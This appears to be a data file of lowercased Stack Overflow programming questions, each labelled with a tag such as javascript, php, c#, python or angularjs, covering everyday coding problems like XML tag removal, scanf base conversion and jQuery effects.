run function if user close browser  i have problem with this function. i will explain -  i must execute function if user closes browser. this function is write in javascript- savecookiescriptprefonlogout().    i have this solutions (i writed this using info from stackoverflow):   <pre><code>var informorlink; $( a ).live( click   function() { informorlink = true; }); $( form ).bind( submit   function() { informorlink = true; });  $(window).bind( beforeunload   function(eventobject) { var returnvalue = undefined; if (! informorlink) {     savecookiescriptprefonlogout(); } savecookiescriptprefonlogout(); return true; }); </code></pre>   problems with this solution is: every browser display windows with question  do you really want to close      i have to hide this information/window. second problem (less important but still) - ff and ie runs this function when i click on link or form submit. i need to ignore a links and form submit.    solution must be crossbrowser solution (ie  chrome  ff on windows. the most important is ie). i can use php and javascript.    can you give me any answer how i solve these problems,javascript
using jquery to concanate html data element  i have several objects on my page that i can identify by div.lightchk  i want to concatenate the contents of the data element data-x10 into a variable so it looks like  a1.a2.a3.b1.b2.b3     using jquery whats the best way of doing this    the . is puzzling me as i don t want the last entry to have it.    thanks for any ideas.,jquery
php how to dynamically change variable name   i have a script that pulls out xml information then puts it into json format. i am trying to change the variable name as i put everything into a table for vewing after the json is decoded.    for instance  there are eleven scores that will be listed and rather than write out all eleven i wanted to dynamically change the name as the loops happens. the problem line i am having is in the studentinformation.php file  i put a comment next to it to make it easier to spot. hopefully i have explained my issue well enough :p    nodes in xml file (yeah it s only the first tag  but you get the idea)   <pre><code>&lt;set1score&gt; &lt;set2score&gt; &lt;set3score&gt; &lt;set4score&gt; &lt;set5score&gt; &lt;set6score&gt; &lt;set7score&gt; &lt;set8score&gt; &lt;set9score&gt; &lt;set10score&gt; &lt;set11score&gt; </code></pre>   xmlparse.php   <pre><code>&lt; php class xmlparse {        private $xmlfile;      public function __construct($xmlfile)     {         $this-&gt;xmlfile = $xmlfile;     }     private function xmlverify($p)     {         return pathinfo($p pathinfo_extension)== xml ;     }     public function encodejson()     {         if($this-&gt;xmlverify($this-&gt;xmlfile))         {             $xml = simplexml_load_file($this-&gt;xmlfile);        return json_encode($xml-&gt;children());         }         else         {             return ( &lt;script&gt;alert(\ error with xml file validation\ );&lt;/script&gt; );         }     } }  &gt; </code></pre>   studentinformation.php   <pre><code>&lt; php class studentinformation extends xmlparse {     private $xmlfile;      public function __construct($xmlfile)     {         parent::__construct($xmlfile);     }     private function decodejson($i)     {         $j = json_decode($i);    return $j;     }     public function getstudentinformation()     {         $output =   ;    $count = 1;    foreach($this-&gt;decodejson($this-&gt;encodejson($this-&gt;xmlfile))-&gt;student as $v)         {        $output .=  &lt;tr&gt; ;        $output .=  &lt;td&gt;  . $v-&gt;lname .  &lt;/td&gt; ;        $output .=  &lt;td&gt;  . $v-&gt;fname .  &lt;/td&gt; ;        $output .=  &lt;td&gt;  . $v-&gt;set($count)score .  &lt;/td&gt; ; //problem here!!!!!        $output .=  &lt;/tr&gt; ;        $count++;    }    return $output;   } }  &gt; </code></pre>,php
remove tag name but retain its value  i need to remove the tag name but retain its value or its content. i am able to remove its tag but this also removes its content or value.     but i only need to remove its tag name and its attribute  and retain its content. how can ido this      here is the sample xml file:   <pre><code>&lt;i&gt;&lt;refsource&gt;1&lt;/refsource&gt;&lt;/i&gt; &lt;i&gt;&lt;refsource value= 1 &gt;3&lt;/refsource&gt;&lt;/i&gt; </code></pre>   the desired output:   <pre><code>&lt;i&gt;1&lt;/i&gt; &lt;i&gt;3&lt;/i&gt; </code></pre>   another part of xml file. because the xml file has a different tag.<br>  <code>&lt;somename&gt; &lt;orgdivision&gt;ask question&lt;/orgdivision&gt; &lt;orgname&gt;ask question organization&lt;/orgname&gt; &lt;orgaddress&gt; &lt;city&gt;a&lt;/city&gt; &lt;state&gt;b&lt;/state&gt; &lt;country&gt;c&lt;/country&gt; &lt;/orgaddress&gt; &lt;/somename&gt;</code>     what i want is remove the orgaddress    possible output   <pre><code>&lt;somename&gt; &lt;orgdivision&gt;ask question&lt;/orgdivision&gt; &lt;orgname&gt;ask question organization&lt;/orgname&gt;  &lt;city&gt;a&lt;/city&gt; &lt;state&gt;b&lt;/state&gt; &lt;country&gt;c&lt;/country&gt;  &lt;/somename&gt; </code></pre>   another question.    i have to check a tag name and its attribute   <pre><code>&lt;emphasis type= italic &gt;n&lt;/emphasis&gt; </code></pre>   if i found a emphasis tag name with type= italic  attribute. change its tag name to i    the desired output is    <pre><code>&lt;i&gt;n&lt;i&gt; </code></pre>   code tried for removing tag name   <pre><code>xdocument doc = xdocument.load( xmlfile.xml );                       doc.descendants( refsource )                         .remove(); </code></pre>   but it removes also the value. i only need to remove the tag name,c#
random numbers in a grid  i m trying to make a 15x15 grid with every element being a random number between 0 and 5. why isn t this working    <pre><code>import random board = []  for row in range(15):     board.append([])     for column in range(15):         board[row].append(random.randint(0 5))  def print_board(board):     for row in board:         print(   ).join(row) </code></pre>,python
how to undo mysql query   how can i undo the most recently executed mysql query,mysql
jquery coding - multiple links slidetoggle 1 div tag and different content  i m seeking help with a jquery coding issue.    what it is:  i have 8 links in a <code>&lt;ul&gt;</code> horizontal row.  below those links i have a <code>&lt;div&gt;</code> that will display the content of each link.      example:<br> l = link<br> ddd...= div   <pre><code>                l     l     l     l                 l     l     l     l                  ddddddddddddddddddd </code></pre>   coding help:  i m newer to jquery and i don t know if i m searching for the right coding...but what i want to do is have each link call upon the 1 div tag and display the different content for each link.  this div tag is also a slidetoggle    current jquery:   <pre><code>&lt;script type= text/javascript &gt;     $(document).ready(function(){          $( ul.columns li img ).click(function(){             $( #pressed ).slidetoggle( fast );         });         $( #pressed ).hide();      }); </code></pre>   here is my html code   <pre><code>&lt;div class= container &gt;     &lt;div class= header &gt;         &lt;div class= headerimg &gt;&lt;img src= #  /&gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= middlecolumn &gt;         &lt;ul class= columns &gt;             &lt;li&gt;                 &lt;a href= # &gt;&lt;img src= #  /&gt;&lt;/a&gt;                 &lt;div class= info &gt;                     &lt;h2&gt;news&lt;/h2&gt;                     &lt;p&gt;what is going on in the world&lt;/p&gt;                 &lt;/div&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;a href= # &gt;&lt;img src= #  /&gt;&lt;/a&gt;                 &lt;div class= info &gt;                     &lt;h2&gt;news&lt;/h2&gt;                     &lt;p&gt;what is going on in the world&lt;/p&gt;                 &lt;/div&gt;             &lt;/li&gt;                     &lt;/ul&gt;   &lt;/div&gt;   &lt;div id= panel &gt;         &lt;div id= pressed &gt;check this out!&lt;/div&gt;   &lt;/div&gt;   &lt;div class= footer &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>,jquery
c - trying to scanf hex/dec/oct values to check if they re equal to user input  so  i m new to c and this is my ever first project for class. i basically need a program that asks the user how many questions he wants  then retrieves a positive max 8 bit number which can be in oct/dec/hex (it s random) and then asks the user to convert it to to a random base. for example  if i get a decimal number it will randomly ask me to convert it to hex or octal. at the end of every question  it says if my convertion is right or wrong and in the end of the program it shows how many questions i got right.    all works well until i start typing random letters/characters when it asks me to convert to other than hex. if it asks me to  for example  convert octal to decimal  if i enter a single letter it will sometimes say it s right and it also skips questions and continues the cycle until it gets an hex.    i can t really figure out what can i do. here s my code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;time.h&gt; #include &lt;stdlib.h&gt; int main() {     int rightanswers = 0;     int answer;     int nquestions;      printf( number of questions: );     scanf( %d   &amp;nquestions);      srand((unsigned int) time(null));     unsigned char questions[nquestions];      for (int i=1; i&lt;=nquestions; i++)     {         questions[i] = (rand()%255)+1;         int randomnumb = (rand()%6)+1;         switch(randomnumb)         {             case 1:                 printf( \nconvert 0%o to base 10:   questions[i]);                 scanf( %d   &amp;answer);                 if (answer == questions[i])                 {                     rightanswers++;                     printf( right! );                                                        }                 else                 {                     printf( wrong! );                                        }                 break;             case 2:                 printf( \nconvert 0%o to base 16:   questions[i]);                 scanf( %x   &amp;answer);                 if (answer == questions[i])                 {                     rightanswers++;                     printf( right! );                                                        }                 else                 {                     printf( wrong! );                                        }                 break;             case 3:                 printf( \nconvert %d to base 8:   questions[i]);                 scanf( %o   &amp;answer);                 if (answer == questions[i])                 {                     rightanswers++;                     printf( right! );                                                        }                 else                 {                     printf( wrong! );                                        }                 break;             case 4:                 printf( \nconvert %d to base 16:   questions[i]);                 scanf( %x   &amp;answer);                 if (answer == questions[i])                 {                     rightanswers++;                     printf( right! );                                                        }                 else                 {                     printf( wrong! );                                        }                 break;             case 5:                 printf( \nconvert 0x%x to base 8:   questions[i]);                 scanf( %o   &amp;answer);                 if (answer == questions[i])                 {                     rightanswers++;                     printf( right! );                                                        }                 else                 {                     printf( wrong! );                                        }                 break;             case 6:                 printf( \nconvert 0x%x to base 10:   questions[i]);                 scanf( %d   &amp;answer);                 if (answer == questions[i])                 {                     rightanswers++;                     printf( right! );                                                        }                 else                 {                     printf( wrong! );                                        }                 break;           }     }     printf( \nyou got %d conversions right!   rightanswers);     return 0; } </code></pre>,c
where should my (angular) data-manipulation logic go when polling for data  i m working on my first large(ish)-scale angular project.    i have an angular service which polls for and returns json data from a web-service every 5 seconds.    this data is structured somewhat like this:   <pre><code>- top level   - category     - item       - details       - ... more details     - item       - ...   - category 2     - item       ... </code></pre>   when polling  the categories will generally remain constant  but items will be added on most hits to the webservice.    in many cases i will be displaying the  items  by their category  but other times i will be collecting all items and filtering them by their details.    what is the cleanest way to approach this kind of thing. i ve considered a few approaches  but not sure what is the best.   <ul> <li>using filters (<code>{{toplevel | allitems | filter:... }}</code>)</li> <li>having a service expose different configurations of the data using different $scope variables.</li> <li>just putting the login in the controller and exposing different data configurations to different scope variables</li> </ul>   any thoughts / advice / suggested resources would be greatly appreciated,angularjs
job interview question  what s your opinion of the following job interview question  in the requirement it never mentions about to have classic asp experience. but the question is  what are the differences between <code>ado.net</code> <code>dataset</code> and <code>ado</code> <code>record set</code>  .,asp.net
write xml texts in html page in java  im creating an html page from a java code by adding strings line by line. those strings have xml tags within them and they are getting eliminated when i open it from a browser.is there any html tag that helps me retain the original value,html
getting index error in the code in python <pre><code>def fact(n):     fac = 1     while (n&gt;1):         fac = fac*n         n -= 1      return fac  z = 0 t = int(raw_input()) nz = [] for i in range(0 t):     c = 0     n = int(raw_input())     z = fact(n)      z = list(str(z))     for j in range(len(z)-1 1 -1):         if z[j] !=  0 :             break         else:             c +=1     nz[i].append(c) for k in range(0 t):     print nz[k] </code></pre>   hello i am getting    <blockquote>    indexerror : index out of range at   nz[i].append(c)  </blockquote>   this program should calculate trailing zeros in the factorial of n. can you also please help me optimize my code  so it can run also for large values of n,python
dismissing the numberpad keyboard from a uiscrollview  i have an application with uiscrollview added as a subview of uiview. this scroll view has a textfield with keyboard type set to numberpad. now the problem is   i want to dismiss the keyboard when i tap anywhere else in the scroll view. how can i do this ...,iphone
javascript: replace ↵ from string  i have a super annoying raw data which is littered with <code>↵</code> and there s no way i can str.replace( ↵    ) is there  i tried it and didn t work  i couldn t find anything on this because when i search for <code>↵</code> it doesn t show up the ascii code.,javascript
how to put javascript code in another javascript code  i would like to put    <pre><code>&lt;div id= gallerysharebar &gt;     &lt;div id= fbshare  class= fb-like  data-href= http://www.facebook.com  data-send= false  data-layout= button_count  data-width= 100  data-show-faces= false  data-font= tahoma &gt;     &lt;/div&gt;     &lt;a id= pinterest-icon  href=  javascript:void((function(){var e=document.createelement( script );e.setattribute( type   text/javascript );e.setattribute( charset   utf-8 );e.setattribute( src   http://assets.pinterest.com/js/pinmarklet.js r= +math.random()*99999999);document.body.appendchild(e)})());  &gt;&lt;img onclick= dopinit();  src= /wp-content/themes/bliss/images/pin-it.png  alt= pin it /&gt;&lt;/a&gt; &lt;/div&gt; </code></pre>   this code in xxx part of the javascript code. the problem is that code is all javascript so  when i put the above code directly it crashes the gallery.   <pre><code>   f.fn.tn3.version =  1.1.0.44 ;     f.fn.tn3.config = {         data: null          skin: null          skindir:  skins           skindefault:  ..........&lt;div class= tn3-show-albums &gt;&lt;/div&gt;&lt;div class= tn3-next-page &gt;&lt;/div&gt;&lt;div class= tn3-prev-page &gt;&lt;/div&gt;**xxxxxxxx**&lt;div class= tn3-play &gt;&lt;/div&gt;...........           cssid: null     }; </code></pre>,javascript
how to use the data from a list of a class   currently i m working on a quiz game using windows form application. so what i m confused on is how to assign the data i read from trivia.cs (from the listofdata method) to the variables (questiontext) and (answers) in triviaform  so that it can be passed to the question.cs to process the data and to figure out which one is the right answer.    i m just a beginner and this is my high school introductory class so i d really appreciate the help.    so i made a trivia class (trivia.cs) to read the data.   <pre><code>namespace d4 {     class trivia     {         // fields         private const string filename =  wumpustrivia.txt ;         private string questiontext;         private string[] answers = new string[4];          public trivia()         {          }          /// this method will return the list of data.         public list&lt;question&gt; listofdata()         {             list&lt;question&gt; ls = new list&lt;question&gt;();             using (streamreader sr = new streamreader(filename))             {                 while (!sr.endofstream)                 {                     this.questiontext = sr.readline();                     for (int i = 0; i &lt; 4; i++)                         this.answers[i] = sr.readline();                     sr.readline();                     ls.add(new question(this.questiontext  this.answers));                  }             }             return ls;         }     } } </code></pre>   a question class (question.cs) to process the data and to return the values to put into text boxes.   <pre><code>namespace d4 {     class question     {         private string question;         private string[] answers = new string[4];         private int correctanswer;         private string[] freetrivia;         private trivia trivia;          public question(string question  string[] answers)         {             this.trivia = new trivia();              this.question = question;             this.answers = answers;             for (int i = 0; i &lt; 4; i++)             {                 if (answers[i].tostring().endswith( + ))                 {                     this.correctanswer = i;                     answers[i].tostring().replace( +      );                 }             }         }          public string questiontext { get { return this.question; } }         public string[] answers { get { return this.answers; } }         public int correctanswer { get { return this.correctanswer; } }         public string[] freetrivia { get { return this.freetrivia; } }     } } </code></pre>   and a triviaform class (triviaform.cs) to display the data from the trivia class in the textboxes.   <pre><code>namespace d4 {     public partial class triviaform : form     {         //// fields         private trivia trivia;         private question question;         private string questiontext;         private string[] answers = new string[4];         private question[] data;         private const int wumpusmaxquestions = 5;         private const int hazardandpurchasemaxquestions = 3;           // replace these later after finished connecting all objects.         private bool hazardandpurchase = false;         private bool wumpus = false;          public triviaform()         {             initializecomponent();              this.trivia = new trivia();             this.data = trivia.listofdata().toarray();             this.questiontext = data[0].tostring();             for (int i = 0; i &lt; 4; i++)                 this.answers[i] = data[i].tostring();              this.question = new question(questiontext  answers);              questionoutputter();         }          // displays the questions and answers on the form.         private void questionoutputter()         {             this.txtquestion.text = question.questiontext;             this.txtboxa.text = question.answers[0];             this.txtboxb.text = question.answers[1];             this.txtboxc.text = question.answers[2];             this.txtboxd.text = question.answers[3];         }     } } </code></pre>   okay sorry for the bad question guys  but i finally figured it out. the problem i was having was with the question class giving an error. this was due to the fact that i was passing a null to it with my questiontext and answers variables in the triviaform class. the code that i had:    <pre><code>this.data = trivia.listofdata().toarray();         this.questiontext = data[0].tostring();         for (int i = 0; i &lt; 4; i++)             this.answers[i] = data[i].tostring(); </code></pre>   was completely wrong. apparently all i needed was to do a foreach loop instead. my solution:   <pre><code>this.data = trivia.listofdata().toarray(); foreach (question q in this.data)         {             this.questiontext = q.questiontext.tostring();             for (int i = 0; i &lt; 4; i++)                 this.answers[i] = q.answers[i];             this.question = new question(questiontext  answers);         } </code></pre>   i tried this out and it worked out really well! sorry for wasting your time.,c#
regarding single and double quotes  too many charcs literal <pre><code>return  { response  :    + responsemsg +       isnewauser  :    + isnewuser +   } ;  </code></pre>   is flagging as <code>c# string too many characters in character literal</code>..to do with single and double quotes yes but i want to return...   <pre><code>{    response :  this is a response msg eg      isnewauser :  false  } </code></pre>,c#
scnufast16 priufast16 warning: unknown conversion type character 0x20 in format <pre><code>test.c: in function ‘main’: test.c:10: warning: unknown conversion type character 0x20 in format test.c:10: warning: unknown conversion type character 0x20 in format test.c:12: warning: conversion lackstype at end of format test.c:12: warning: unknown conversion type character 0xa in format test.c:12: warning: conversion lacks type at end of format test.c:12: warning: unknown conversion type character 0xa in format </code></pre>   gcc test.c -o test   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdint.h&gt; #include &lt;inttypes.h&gt;  int main(int argc char *argv[]){      uint_fast16_t n_curve n_pt;      printf( please enter new value \n );     scanf(  % %  scnufast16 scnufast16  &amp;n_curve  &amp;n_pt);      printf( you enter % % \n  priufast16 priufast16  n_curve  n_pt);     return 0;    } </code></pre>,c
python __file__ attribute absolute or relative   i m having trouble understanding <code>__file__</code>. from what i understand  <code>__file__</code> returns the absolute path from which the module was loaded.     i m having problem producing this: i have a <code>abc.py</code> with one statement <code>print __file__</code>  running from <code>/d/projects/</code> <code>python abc.py</code> returns <code>abc.py</code>. running from <code>/d/</code> returns <code>projects/abc.py</code>. any reasons why,python
angularjs and resource : unknown provider: $resourceprovider <- $resource  i m using $resource to show a json list file and wondering why it generates an error message :   <pre><code> unknown provider: $resourceprovider &lt;- $resource </code></pre>   here s the code :     html :    <pre><code> &lt;div ng-app= manage &gt;  .....     &lt;div class= widget-content  ng-controller= testctrl &gt;     {{test}}    &lt;/div&gt; </code></pre>   app.js   <pre><code> angular.module( manage  [ ngresource ]); </code></pre>   and controller.js   <pre><code> function testctrl($scope $resource) {    var dataservice = $resource( /users/1/test.json );    $scope.test = dataservice.get();  } </code></pre>   seems it works well on plunkr <a href= http://plnkr.co/edit/bjfjurl6gtw3qrcn4viw p=preview  rel= nofollow >http://plnkr.co/edit/bjfjurl6gtw3qrcn4viw p=preview</a> but not on my app.  i use exactly same structure.. (even on loading angular and angular-resource files order)     the only differences i can notice are angularjs version (i use 1.0.2 on my app) and of course json file.    what am i doing wrong      update :     i changed angular versions on plunkr. same on both side now,angularjs
when to refresh data in ios  i m not sure this question is strictly limited to ios  as it s more of a general application-design question on data integrity. but at the moment  i m getting into ios and have hit a  best practice  wall.    if we use the twitter app as an example. we have one tab for our timeline and one tab for our profile. so (to keep things <em>very</em> simple) each one is a view controller  backed by an object (model). i tweet on the timeline vc  then i head on over to my profile tab. both <code>viewdidload</code> methods have already ran  so the data that was loaded to draw the ui is currently stale. the  count  of my tweets is now out of date. in the ios world  what is the best methods/approaches to keeping the vc model data synced with the backend     is it on a time interval  or network requests in the <code>viewwillappear</code> method  is it event driven  ie. when i tweet in one vc  and it s been saved in the backend web service  i notify any vcs that care that there s a new tweet    i m not 100% sure this question will have an  answer  in the so sense  but i m just trying to understand what s the done thing in the ios world (as someone who comes from the web development world).,ios
how do i add one objects propertys value to another object as new propertys value  for example  i have an object with key 1:   <pre><code>1:{{name:alice surname:doe}} </code></pre>   i have another object with same key 1:   <pre><code>1: a  </code></pre>   by iterating we check if both keys are matching ( in this case 1 and 1 ) so we add second objects a to first object as grade:a so final object looks like    <pre><code>1:{{name:alice surname:doe grade:a}} </code></pre>   i am adding a picture to explain better.    <a href= https://i.stack.imgur.com/lkpkb.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lkpkb.png  alt= enter image description here ></a>    this is what i have tried: the problem is 00001 key is missing:   <pre><code>    object.keys(localallcourseobject).foreach(function(key){   if(key in passedcoursesgrade) {     var c = object.assign(localallcourseobject[key] {grade:passedcoursesgrade[key]});     console.log(c);    } }); </code></pre>   <a href= https://i.stack.imgur.com/titm4.png  rel= nofollow noreferrer >enter image description here</a>,javascript
jquery delay for 5 sec  i have in jquery i want to delay 5 sec to the function   <pre><code>$(target).slidedown( slow   linear   function(){                      $(target).addclass( section-active );                     $( html  body ).animate({                         scrolltop: $(target).offset().top                     }  1000   easeinoutexpo   function() {                         isscrolling = false;                         startnano.go();                     });                 }); </code></pre>   how can i achieve,jquery
how to use/store json data after the callback has fired   <strong>alert:</strong>     basic javascript question... how can i get the data from the success handling and return a json object      is there a away that i can place this code:    <pre><code>function geo() {     navigator.geolocation.getcurrentposition(         function(position) {             i dont want to use position here...              i want to place it in a var like so...             this.data = position; // or something similar           }          function errorcallback(error) {             //do error handling         }     ); } var geo = new geo(); geo.      how can i get that data  </code></pre>   i tried this but it <code>this.data</code> comes back undefined    inside a function and call that function to get the data  i want to get that data on damand and use that data to populate different fields. i can t always use that data right there and then.    <pre><code>var data =     </code></pre>,javascript
how to create  available field  properties in my own property   i have created a class inherit from statemanagedcollection. it has got a few class as columns like gridview. but i can not select which filed i want to select from. it should look like the picture below in design. <img src= https://i.stack.imgur.com/uejay.jpg  alt= gridview columns property >    but mine is the one below: <img src= https://i.stack.imgur.com/iodci.jpg  alt= my gridview class&#39;s items property >    i have written the property as below:   <pre><code>[description( a collection of toolbaritem s  )] [designerserializationvisibility(designerserializationvisibility.content)] [editor(typeof(system.componentmodel.design.collectioneditor)  typeof(system.drawing.design.uitypeeditor))  persistencemode(persistencemode.innerproperty)] public virtual items items { } </code></pre>   can anyone help me out,asp.net
moving background effect above cell.  a little while back with some great help from so i was able to create an effect where a mouse over causes the background to do an animated underline effect:   <pre><code>.box{     height:30px;     background-color : white; } .simulate_border {     position : relative;     height : 35px;     background: linear-gradient(to right  red 50%  grey 50%);     background-size: 200% 100%;     background-position:right bottom;     transition:all 500ms ease; }  .simulate_border:hover{         background-position:left bottom;   } </code></pre>   seen in action here: <a href= http://jsfiddle.net/9a4mw/  rel= nofollow >http://jsfiddle.net/9a4mw/</a>    now i wanted to see if i could do the same but above the content rather than below. but after much fiddling can t get the effect to be above rather than below      tia,css
how to  avoid  application not responding when big elaboration are made   when i lunch a function on my .net application  the app seems to be  blocked . so i ask you: how can <em>limit</em> cpu workload for a particular method    the only way is the application.doevents   and: what if i use an third party dll that for the same reason (big elaboration) seems to block (not responding) my app       edit: maybe threading is the answer  but  now  i ve another question: is it possible to  limit  cpu usage to a thread,.net
how to programmatically list all controllers in rails  i m trying to build a restful app to actually manage many kind of configurable objects  so there are a large amount of  resource  types  and hence a lot of controllers. i m still at the poc phase  so it will be nice if i can show all controllers in a first navigation page  so any easy way (programmable) to do that,ruby-on-rails
uitableview pass data to a tab bar  i have a uitableview  and i need to pass data from the table to a tab bar that contains three items (3 viewcontroller)  in the prepareforsegue function   i can refer to the first and the last items of the tab bar as the following:   <pre><code>let desview: nextpageviewcontroller =      secondscene.viewcontrollers .first as! nextpageviewcontroller  let desview2: next2viewcontroller =      secondscene.viewcontrollers .last as! next2viewcontroller </code></pre>   then passing data to the first and the last view controllers as the following   <pre><code>if let indexpath = self.tableview.indexpathforselectedrow {             let currentphoto = sectionarray[indexpath.section][indexpath.row]             desview.currentphoto = currentphoto             desview2.currentphoto = currentphoto </code></pre>   the question is: how can i refer to the viewcontroller in the middle  the tab bar comes with 2 items by default and i had to add the third manually  so that using the above function we can refer only to first and last. is there an another way to refer to the viewcontrollers inside the tab bar,ios
static cast to avoid ide warnings   i am using clion and i frequently get <code>parameter type mismatch</code> warnings.  for instance in the following:   <pre><code>std::default_random_engine random_engine(time(0)); </code></pre>   i get <code>parameter type mismatch: using  unsigned long  for signed values of type  time_t </code>    the only way i know of to avoid this warning is to use a static cast such as:   <pre><code>std::default_random_engine random_engine(static_cast&lt;unsigned long&gt;(time(0))) </code></pre>   this cast can be done automatically.  it is not necessary for my program to compile.    however  are there any performance costs (or other reasons why) i should avoid using static casts when a parameter can be automatically converted,c++
python local name in nest function  i had a test for local variable in nest function  i got the error as the following code:   <pre><code># coding: utf-8  def func3():     x = [1  2  3]      def func2():         print  func2:   locals()         x[0] += x[0]         print  func2:   locals()      def func3():         print  func3:   locals()         x = x[0]         print  func3:   locals()      func2()     print  --&gt;   locals()      func3()     print  ==&gt;   locals()  if __name__ ==  __main__ :     func3() </code></pre>   i got the error:   <pre><code>func2: { x : [1  2  3]}  func2: { x : [2  2  3]}  --&gt; { func3 : &lt;function func3 at 0x1076adde8&gt;   func2 : &lt;function func2 at 0x1076ad6e0&gt;   x : [2  2  3]}  func3: {}  traceback (most recent call last):    file  test.py   line 23  in &lt;module&gt;      func3()    file  test.py   line 19  in func3      func3()   file  test.py   line 13  in func3      x = x[0]  unboundlocalerror: local variable  x  referenced before assignment </code></pre>   why did <code>func2</code> and <code>func3</code> have the different answers,python
include multiple classes in jquery selector <pre><code>&lt;ul class= bjqs video &gt; </code></pre>   what is the right way of being able to include and select both classes from the html into the jquery below as at moment it is only including one class:   <pre><code>jquery(document).ready(function($) {   $( #banner-video_&lt; php echo $key;  &gt; ).bjqs({     animtype: slide    });   }); </code></pre>,jquery
set tooltip of checkbox in asp checkboxfield  how can i set the tooltip of a checkbox that is within an asp checkboxfield  it seems there is no tooltip attribute for the checkboxfield. is there some other way that i can add it to the checkbox    <pre><code>&lt;asp:checkboxfield tooltip= test  datafield= datafield  headertext= header text  /&gt; </code></pre>   attribute  tooltip  is not a valid attribute of element  checkboxfield,asp.net
how to add an array list to a jpanel   so far this is my code.ultimately  i need to create a small version of the keybricks text game and i m having trouble adding the tiles to the frame. can anyone explain how i can add this and then the tiles to the frame    <pre><code>package code;  import javax.swing.jframe; import java.awt.component; import java.awt.layoutmanager; import java.util.arraylist;`` import javax.swing.jpanel; import javax.swing.jlabel; import javax.swing.boxlayout;    public class game implements runnable { static final int width = 300; static final int height = 500;   @override public void run(){      jframe f = new jframe( keybricks game );     jpanel p = new jpanel();     jlabel j = new jlabel();     p.add(j);     p.add(tile);     p.setlayout(new boxlayout(p  boxlayout.y_axis));     f.setsize(width height);     p.setvisible(true);     f.add(p);     f.setvisible(true);     tile a = null;     tile b = null;     tile c = null;     tile d = null;     arraylist&lt;tile&gt; tile = new arraylist&lt;tile&gt;();     for(int i=0; i &lt; 4; i++){          tile.add(a);             tile.add(b);             tile.add(c);             tile.add(d);     }         } </code></pre>,java
how to make a route both for get and post   i have this:   <pre><code>resources :users do    collection do     get  blah     end  end </code></pre>   i want to make this action (blah) for both post and get now  possible,ruby-on-rails
iphone paint application  is there any complete source code available for developing a image editing paintng application in iphone   if anyone knows plese help me    thankzz,iphone
ios setting alpha to all objects on view  in ios 4.0.2  i would like to set the alpha to 0.00 for each object on the view that i has a tag of 100.     <pre><code>  (id object in [self.view subviews])      {         if ([object tag]  == 100)                {            //what goes here ...           }       } </code></pre>,ios
creating constants for paths and links in angular   everywhere throughout my website we got links and paths.   <pre><code>http://localhost:3001/controllers/getusers http://localhost:3001/controllers/gethouses  http://localhost:8080/assets/img/mypic.png http://localhost:8080/assets/img/yourpic.png </code></pre>   this is a problem when we switch to production server.     how would you create a  constant  with the path in angular    <pre><code>const controllerpath =  http://localhost:3001/controllers/  const imagepath =  http://localhost:8080/assets/img/  </code></pre>   so we can use them in all pages     i read about these two:   <pre><code>app.constant( controllerpath    http://localhost:3001/controllers/ ); app.value( controllerpath    http://localhost:3001/controllers/ ); </code></pre>   but then you have to remember to send all paths to all controllers on all pages.    we could put them in $rootscope but then you have to transfer that one to all pages.     isnt there any  settings  or something similar in angular where you can setup global constants,angularjs
handling huge lines of code in angularjs  my application involve 2 pages - index.html   details.html . and 2 controllers - homectrlr   detailsctrlr . the code in both of the controller had reached 1000 lines of code and might increase still . it looks like the following :   <pre><code>app.controller( detailsctrlr  ()=&gt;{  $scope.method_1 = (){}  $scope.method_2 = (){}   ...  $scope.method_n = (){}  }); </code></pre>   it becomes more difficult to maintain and debug the code due to its large size . is there any other way to place those methods as files,angularjs
objective c method that accepts types id and double   i have a method that has to be able to accept <code>double</code> and <code>id</code> types.      i can t just wrap the double in an <code>nsnumber</code> wrapper because of backwards compatibility.<br> how would i define my method to accept both double and id     <pre><code>- (void) addbothdoublesandids: (id  double) doubleorobject; </code></pre>   so above in parenthesis are just what i would <em>like</em> to accept  the syntax is just for demonstration.,objective-c
c# verbatim quote escaping string vs tostring()  i try to create a unit test     i have a code that produces the following string:   <pre><code>{&lt;a class= btn btn-default  href= page1 &gt;1&lt;/a&gt;&lt;a class= btn btn-default btn.primary selected  href= page2 &gt;2&lt;/a&gt;&lt;a class= btn btn-default  href= page3 &gt;3&lt;/a&gt;} </code></pre>   (this is what visual studio debugger shows me.)    i try to compare it with const    <pre><code>  const string str = @ {&lt;a class=  btn btn-default   href=  page1  &gt;1&lt;/a&gt;                             + @ &lt;a class=  btn btn-default btn-primary selected   href=  page2  &gt;2&lt;/a&gt;                             + @ &lt;a class=  btn btn-default   href=  page3  &gt;3&lt;/a&gt;} ; </code></pre>   but i get (as i see in the debugger)   <pre><code> {&lt;a class=\ btn btn-default\  href=\ page1\ &gt;1&lt;/a&gt;&lt;a class=\ btn btn-default btn-primary selected\  href=\ page2\ &gt;2&lt;/a&gt;&lt;a class=\ btn btn-default\  href=\ page3\ &gt;3&lt;/a&gt;}  </code></pre>   how do i remove the extra slashes     edit the problem was i had btn.default instead of btn-default,c#
is there any way to compress test cases   let s say i have code like this:   <pre><code>if something == 0:     return something if something_else = x:     return something_else </code></pre>   and to not make mess here let s say i have 10 more of this <code>if</code>s. do i have to do it like this or there is faster and less messy method  thanks.,python
how to initialise data members of a class such that those data members are objects of some other class(in c++)  the code includes    class point     {     public:         int x  y;     };   <pre><code>class lineseg { public:     point p1 p2; };  bool seg(lineseg l1  lineseg l2){/* code to check whether two line segments intersect or not*/} </code></pre>   int main(){ /* call function seg*/}    function seg requires objects of class lineseg to be passed as parameters. objects of class point are data members of class lineseg. how do i initialise lineseg class data members in such a case.,c++
